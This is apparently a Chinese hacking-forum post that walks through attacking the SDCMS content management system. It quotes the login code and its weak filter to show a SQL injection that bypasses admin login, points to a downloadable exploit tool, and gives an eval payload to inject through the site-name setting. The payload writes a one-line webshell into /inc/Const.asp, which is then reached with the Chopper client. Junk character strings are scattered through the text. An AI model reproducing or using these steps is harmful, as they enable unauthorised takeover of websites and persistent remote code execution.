SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp
+ P" U. A* G3 s+ P* g. h
# C) L3 L& T; E+ z  l: @. oSub Check
    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
8 {8 ^7 h! V: O6 ?; w    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
5 ~" B# f1 j4 L/ u7 K    getcode=Session("SDCMSCode")
# U5 B0 v# I( f1 H6 Q5 d# I) Z, c    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
. C2 l+ E6 x, o# l    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
' A' H# \: |$ [            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
- K9 H( O7 z1 B3 g        Else
1 z' q$ ?5 s7 K- l+ @            Add_Cookies "sdcms_id",Rs(0)
: y/ J  R3 u! q" h            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
! O: q% d+ n, i6 _' s            Add_Cookies "sdcms_admin",Rs(3)
0 t6 g; i- i+ W) ~! e) l% I1 n            Add_Cookies "sdcms_alllever",Rs(4)
+ o! |+ Y# s2 @! `( P* d- H            Add_Cookies "sdcms_infolever",Rs(5)
% @/ r' [0 S% s            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
- Y+ v% ?2 c6 J0 T            AddLog username,GetIp,"登录成功",1
5 q. F6 @' b1 [: B& d3 \7 e            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
) E- G& x, H1 d* b" q; ]# @( Y  X                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
" T" m  o8 [4 U! e8 o9 @! j            End IF
5 W8 V0 I+ ?" v, G. z            Go("sdcms_index.asp")
2 Z6 Y+ n3 b+ R- @& j4 F& [        End IF
- f+ z# U+ P; r, z/ p        Rs.Close
        Set Rs=Nothing
    End IF
2 A" m" a- U8 i+ \End Sub
" L1 _% f1 F9 J2 _5 \
& ?! w. i9 F5 j9 Z1 G8 s, U’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
1 a/ ^# M. x5 P7 O1 x8 X, m% f3 \& ]
5 h, l1 @) n! C+ \Function FilterText(ByVal t0,ByVal t1)
/ `9 M0 Y( {( y  X    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
; t/ B! P4 w$ e% F8 C& f    t0=Trim(t0)
    Select Case t1
# }+ W1 x! @+ L% N/ U; n! L        Case "1"
+ d7 v8 r4 [( ]5 E0 \            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
' d3 F4 O/ q3 X5 |% M            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
+ e0 [" p  x1 A+ [+ j        Case "2"
6 t, Y  Q$ f/ d. v* C( Z4 J6 _1 J            t0=Replace(t0,Chr(8),"")'回格
- H+ t3 c) F5 B            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
5 ~2 A  G- [! |6 R% H5 N            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
2 g0 s1 G, w( |4 {9 z4 \" m            t0=Replace(t0,Chr(33),"")'!
1 M- P% G0 n, W- u6 V0 {0 X            t0=Replace(t0,Chr(34),"")'"
3 W7 H  M7 ~/ ]            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
6 |  O: W/ |. P: Y            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
1 `& ^; L: S; i% Y            t0=Replace(t0,Chr(41),"")')
( i7 R, c  |3 m) n9 Z) k: F+ E            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
9 Z0 U% L7 I0 v6 b/ d7 a& |8 }$ z            t0=Replace(t0,Chr(59),"")';
/ p( s" x) G" S7 Q            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
5 o# r8 S4 D" N- b; T7 t4 b- A            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
6 {  V  `2 Q* F! m            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
* m8 l1 n  R  j+ ^) K            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
    Case Else
        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
* i: |$ X- _: p, ~/ d! D1 ^    End If
- U/ B9 d5 y4 U- @0 I7 M, L9 y    FilterText=t0
/ b% l. A% e0 D5 V  r* a; J( X$ zEnd Function
( J  q, ~" a4 U  K, B& ?# _! V
看到没。直接参数是1 只过滤
% G  D8 {( f7 x% _: |7 l0 v                        t0=Replace(t0,Chr(32)," ")
3 J. I5 f8 O  }# K  n- i$ z$ a                        t0=Replace(t0,Chr(13),"")
* E$ w0 t. k- [. o: a# E9 o                        t0=Replace(t0,Chr(10)&Chr(10),"
")
                        t0=Replace(t0,Chr(10),"
, I( T  z, k4 G! ^0 L& l")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
4 {$ i* c- Y! l8 fEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
2 A0 R: C* S0 M
  o& m+ M- b5 v/ L! [, M测试:
; c/ h" Q" t2 X- C4 t
* b8 Z4 u) `! w( k+ x8 y/ T
现在输入工具上验证码,然后点OK
3 Y1 K8 u; @# o, y& P; Y
; G$ `* d8 _' P6 O, y' v
看到我们直接进入后台管理界面了,呵呵!
; n- {$ b8 e$ ?7 Z- x
5 x; M8 w6 x, I2 y' ]: O6 B

这样直接进入后台了。。。。
; ~- X! P# f' S* u# x


SDCMS提权:
* E: {. W5 B% `. {, S
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?


8 H4 }" z! x* {0 X" D# u/ i
OK,现在用菜刀连接下!
" `0 W9 W/ e8 M2 z



) W1 ^/ E' q, U" f, x& {& ^